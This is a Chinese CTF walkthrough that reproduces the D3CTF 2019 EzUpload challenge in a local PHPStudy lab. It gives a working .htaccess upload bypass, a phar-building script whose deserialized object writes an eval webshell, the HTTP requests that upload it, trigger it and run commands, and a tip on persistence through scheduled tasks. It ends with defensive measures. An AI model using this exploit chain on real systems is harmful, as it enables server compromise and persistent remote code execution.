CTF实战复盘:手把手教你用PHPStudy复现D3CTF 2019 EzUpload靶场(含Phar反序列化完整流程)

张开发
2026/4/30 23:44:41 15 分钟阅读

分享文章

CTF实战复盘:手把手教你用PHPStudy复现D3CTF 2019 EzUpload靶场(含Phar反序列化完整流程)
CTF实战PHPStudy环境下的D3CTF EzUpload靶场复现与Phar反序列化深度解析在CTF竞赛中文件上传漏洞一直是Web安全领域的经典题型。2019年D3CTF的EzUpload题目以其巧妙的Phar反序列化利用链和.htaccess绕过技巧成为许多选手进阶路上的必修课。本文将带你在本地PHPStudy环境中完整复现这道题目从环境搭建到最终getshell深入剖析每个技术细节。1. 环境准备与题目分析首先需要配置一个与题目相似的本地环境。推荐使用PHPStudy 2018版本选择PHP 7.0.9-NTS作为运行环境这与许多CTF靶场的配置最为接近。关键组件版本要求Apache 2.4.39PHP 7.0.9开启phar、zip、data等协议支持在php.ini中需要确认以下配置allow_url_fopen On allow_url_include On phar.readonly Off题目源码分析显示主要存在三个关键功能点文件上传接口支持通过URL参数指定文件名和下载源未过滤.htaccess文件上传存在phar反序列化触发点2. .htaccess文件利用实战.htaccess是Apache服务器的目录级配置文件可以覆盖主配置。本题中利用它实现两个目的将.txt文件解析为PHP绕过上传文件类型限制典型利用步骤准备.htaccess文件内容AddHandler php7-script .txt使用data协议上传POST /upload.php HTTP/1.1 actionuploadfilename.htaccessurldata:text/plain;base64,QWRkSGFuZGxlciBwaHA3LXNjcmlwdCAudHh0Cg验证是否生效上传一个包含PHP代码的.txt文件直接访问该.txt文件确认代码是否执行注意某些环境下可能需要额外的配置指令如SetHandler或AddType需根据实际环境调整3. Phar反序列化漏洞深度利用PharPHP Archive文件包含序列化元数据当通过phar://协议访问时会自动反序列化。本题中利用链构造如下3.1 漏洞链分析题目源码中存在dir类其__destruct方法有文件写入操作class dir { public $userdir; public $url; public $filename; public function __destruct() { file_put_contents($this-filename..txt, $this-userdir); } }3.2 Phar文件生成脚本创建phar文件的PHP脚本?php class dir { public $userdir; public $url; public $filename; } $phar new Phar(exploit.phar); $phar-startBuffering(); $phar-setStub(GIF89a?php __HALT_COMPILER(); ?); $obj new dir(); $obj-filename /var/www/html/upload/shell; $obj-userdir ?php eval($_GET[0]);?; $phar-setMetadata($obj); $phar-addFromString(test.txt, test); $phar-stopBuffering(); // 压缩为.gz格式 system(gzip exploit.phar); ?3.3 分步利用流程上传phar文件伪装为图片POST /upload.php HTTP/1.1 actionuploadfilenameexploit.jpgurlhttp://your-vps/exploit.phar.gz触发反序列化GET /upload.php?actionuploadfilenameurlphar://upload/exploit.jpg/test.txt访问生成的webshellGET /upload/shell.txt?0system(id);4. 常见问题与调试技巧在实际复现过程中可能会遇到以下问题问题1phar文件无法正确触发检查php.ini中phar.readonly是否设为Off确认phar文件签名正确可使用php -l检查尝试不同压缩格式gzip/zip问题2路径问题导致写入失败先通过错误信息获取绝对路径urlphar://upload/exploit.jpg/nonexistent调整filename属性为正确路径问题3文件被定期清理使用自动化脚本快速完成整个利用链考虑写入计划任务维持权限5. 防御方案与安全启示针对此类漏洞开发人员应采取以下防护措施文件上传安全禁用危险协议phar、data等限制上传文件类型白名单存储上传文件时重命名反序列化防护禁用不必要的序列化功能使用php.ini限制disable_functions unserialize phar.readonly On服务器配置限制.htaccess覆盖权限设置open_basedir限制目录访问对于安全研究人员这道题目展示了多个中危漏洞组合形成高危利用链的典型案例。在实战中需要培养将不同漏洞点串联思考的能力同时掌握协议特性与服务器配置的微妙关系。

更多文章